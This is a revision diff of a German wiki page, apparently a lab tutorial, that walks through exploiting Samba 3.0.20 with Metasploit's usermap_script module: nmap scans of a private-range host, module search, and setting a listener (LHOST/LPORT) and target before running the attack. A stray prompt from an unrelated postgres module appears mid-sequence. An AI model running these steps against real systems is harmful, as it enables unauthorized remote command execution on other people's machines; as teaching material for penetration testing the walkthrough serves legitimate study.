Metasploit smb exploit: Unterschied zwischen den Versionen
Zur Navigation springen
Zur Suche springen
| Zeile 4: | Zeile 4: | ||
=Die Information ist zu ungenau, wir bohren weiter= | =Die Information ist zu ungenau, wir bohren weiter= | ||
| − | * | + | *nmap -p139,445 --script smb-os-discovery 10.0.10.10 |
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
=Modul suchen= | =Modul suchen= | ||
Version vom 25. Juni 2026, 13:07 Uhr
Gefundene Version
- db_nmap -sV 10.0.10.105
- [*] Nmap: 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
Die Information ist zu ungenau, wir bohren weiter
- nmap -p139,445 --script smb-os-discovery 10.0.10.10
Modul suchen
- msf6 > search Samba 3.0.20
0 exploit/multi/samba/usermap_script 2007-05-14 excellent No Samba "username map script" Command Execution
Module laden
- msf6 > use 0
msf6 exploit(multi/samba/usermap_script) >
- msf6 exploit(/linux/postgres/postgres_payload) > info
Wir setzen LHOST, LPORT, RHOST und LHOST
- msf6 exploit(multi/samba/usermap_script) > set LHOST 10.0.10.101
- msf6 exploit(multi/samba/usermap_script) > set LPORT 4444
- msf6 exploit(multi/samba/usermap_script) > set RHOSTS 10.0.10.105
- msf6 exploit(multi/samba/usermap_script) > set RPORT 139
Und Attacke
- msf6 exploit(multi/samba/usermap_script) > run
- Es dauert ein bisschen